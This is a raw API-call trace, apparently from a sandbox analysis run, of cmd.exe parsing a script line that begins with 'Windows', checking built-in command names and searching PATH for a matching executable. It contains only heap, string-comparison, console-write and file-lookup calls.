GetProcessHeap () returned 0x20b0f920000 [0233.264] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.264] GetProcessHeap () returned 0x20b0f920000 [0233.265] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.265] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0233.265] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0233.265] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0233.265] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0233.265] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0233.265] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0233.265] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0233.265] GetProcessHeap () returned 0x20b0f920000 [0233.265] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.265] GetProcessHeap () returned 0x20b0f920000 [0233.265] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.265] GetProcessHeap () returned 0x20b0f920000 [0233.265] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f9259d0 [0233.265] _tell (_FileHandle=3) returned 5552 [0233.265] _close (_FileHandle=3) returned 0 [0233.266] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.266] GetFileType (hFile=0x50) returned 0x2 [0233.266] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.266] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.266] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.276] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.276] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.276] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.276] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.276] GetFileType (hFile=0x50) returned 0x2 [0233.276] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.276] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.277] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.277] GetFileType (hFile=0x50) returned 0x2 [0233.277] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.277] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.278] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.278] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0233.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.278] GetFileType (hFile=0x50) returned 0x2 [0233.278] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.278] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.279] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0233.279] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.279] GetFileType (hFile=0x50) returned 0x2 [0233.279] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.279] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.280] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.285] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.286] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.286] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.286] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.286] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.286] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.286] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.287] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.287] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.287] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.287] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.287] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.287] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.287] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.287] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.287] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.287] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.287] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.287] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.287] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.287] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.287] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.287] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.287] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.287] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.287] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.287] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.287] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.287] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.287] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.287] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.287] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.287] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.287] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.287] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.288] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.288] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.288] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.288] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.288] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.288] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.288] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.288] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.288] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.288] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.288] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.288] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.289] GetProcessHeap () returned 0x20b0f920000 [0233.289] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.291] SetErrorMode (uMode=0x0) returned 0x0 [0233.292] SetErrorMode (uMode=0x1) returned 0x0 [0233.292] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.292] SetErrorMode (uMode=0x0) returned 0x1 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.292] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.292] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.292] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947460 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947460, Size=0x7e) returned 0x20b0f956760 [0233.292] GetProcessHeap () returned 0x20b0f920000 [0233.292] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956760) returned 0x7e [0233.292] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.293] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d390 [0233.293] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0233.293] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.293] GetLastError () returned 0x2 [0233.293] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.293] GetLastError () returned 0x2 [0233.293] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.293] GetLastError () returned 0x2 [0233.294] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.294] GetLastError () returned 0x2 [0233.294] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.294] GetLastError () returned 0x2 [0233.294] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.294] GetLastError () returned 0x2 [0233.294] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.294] GetLastError () returned 0x2 [0233.294] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.295] GetLastError () returned 0x2 [0233.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.295] GetLastError () returned 0x2 [0233.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.295] GetLastError () returned 0x2 [0233.295] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.295] GetLastError () returned 0x2 [0233.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.295] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.296] GetLastError () returned 0x2 [0233.296] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0233.296] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0233.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.296] GetLastError () returned 0x2 [0233.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.296] GetLastError () returned 0x2 [0233.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.297] GetLastError () returned 0x2 [0233.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.297] GetLastError () returned 0x2 [0233.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.297] GetLastError () returned 0x2 [0233.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.297] GetLastError () returned 0x2 [0233.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.297] GetLastError () returned 0x2 [0233.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.298] GetLastError () returned 0x2 [0233.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.298] GetLastError () returned 0x2 [0233.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.298] GetLastError () returned 0x2 [0233.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.299] GetLastError () returned 0x2 [0233.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.299] GetLastError () returned 0x2 [0233.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.299] GetLastError () returned 0x2 [0233.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.300] GetLastError () returned 0x2 [0233.300] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.300] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.300] GetLastError () returned 0x2 [0233.300] ??_V@YAXPEAX@Z () returned 0x1 [0233.300] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.304] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.304] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.304] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.304] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.305] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.305] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.305] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.305] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.305] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.305] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.305] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.305] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.305] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.305] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.305] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.305] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.305] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.305] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.305] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.305] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.305] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.305] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.305] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.305] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.305] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.306] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.306] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.306] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.306] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.306] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.306] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.306] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.306] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.306] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.306] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.306] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.306] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.306] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.306] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.306] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.306] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.306] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.306] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.306] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.306] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.306] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.306] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.306] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.306] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.306] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.306] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.306] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.307] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.307] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.307] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.307] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.307] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.307] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.307] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.307] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.307] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.307] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.307] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.307] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.307] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.307] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.307] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.307] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.307] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.307] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.307] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.307] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.307] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.307] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.307] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.307] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.307] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.307] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.307] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.307] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.307] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.307] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.307] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.308] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.308] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.308] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.308] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.308] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.308] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.308] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.308] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.308] 